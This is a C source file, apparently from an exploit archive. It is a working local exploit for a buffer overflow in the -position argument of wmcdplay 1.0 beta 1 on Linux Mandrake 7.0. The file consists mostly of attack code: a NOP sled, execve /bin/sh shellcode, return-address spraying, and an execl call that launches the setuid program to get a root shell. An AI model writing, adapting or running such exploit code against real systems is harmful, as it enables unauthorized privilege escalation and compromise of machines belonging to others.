Local exploit for Linux Mandrake 7.0's wmcdplay 1.0 beta 1. Unlike the Teso exploit for wmcdplay, this code exploits the -position argument.
eed00eb19c97858a9e3a92302523c50bd3259f79d45239243286e9ab1b43681f
/*
Local exploit for Linux Mandrake 7.0's wmcdplay 1.0 beta 1
- Found by TESO crew originally, although multiple bof's exist elsewhere.
- I chose the "-position" argument to exploit, TESO used the "-d".
Code: dethy @ synnergy.net
*/
#include <stdio.h>
#include <stdlib.h>
#define NOP 0x90
#define BS 1300
#define OFF 400 /* increment +- 100 */
/* uid(0); euid(0); */
char shellcode[] =
"\xeb\x1f" /* jmp 0x1f */
"\x5e" /* popl %esi */
"\x89\x76\x08" /* movl %esi,0x8(%esi) */
"\x31\xc0" /* xorl %eax,%eax */
"\x88\x46\x07" /* movb %eax,0x7(%esi) */
"\x89\x46\x0c" /* movl %eax,0xc(%esi) */
"\xb0\x0b" /* movb $0xb,%al */
"\x89\xf3" /* movl %esi,%ebx */
"\x8d\x4e\x08" /* leal 0x8(%esi),%ecx */
"\x8d\x56\x0c" /* leal 0xc(%esi),%edx */
"\xcd\x80" /* int $0x80 */
"\x31\xdb" /* xorl %ebx,%ebx */
"\x89\xd8" /* movl %ebx,%eax */
"\x40" /* inc %eax */
"\xcd\x80" /* int $0x80 */
"\xe8\xdc\xff\xff\xff" /* call -0x24 */
"/bin/sh"; /* .string \"/bin/sh\" */
u_long get_sp(void) { __asm__("movl %esp,%eax"); }
void main(int argc, char **argv) {
char *buffer, *ptr; long *address_ptr, *address;
int i, bsize = BS, nop = NOP, offset = OFF;
buffer = malloc(bsize);
(char *)address = get_sp() - offset;
printf("return address: %#x\n", address);
ptr = buffer;
address_ptr = (long *)ptr;
for(i=0; i < bsize; i += 4) (int *) *(address_ptr++) = address;
for(i=0; i < bsize / 2 ; i++) buffer[i] = nop;
memcpy(buffer + i, shellcode, strlen(shellcode));
execl("/usr/X11R6/bin/wmcdplay", "wmcdplay", "-position", buffer, 0);
}
/* www.hack.co.za [21 July]*/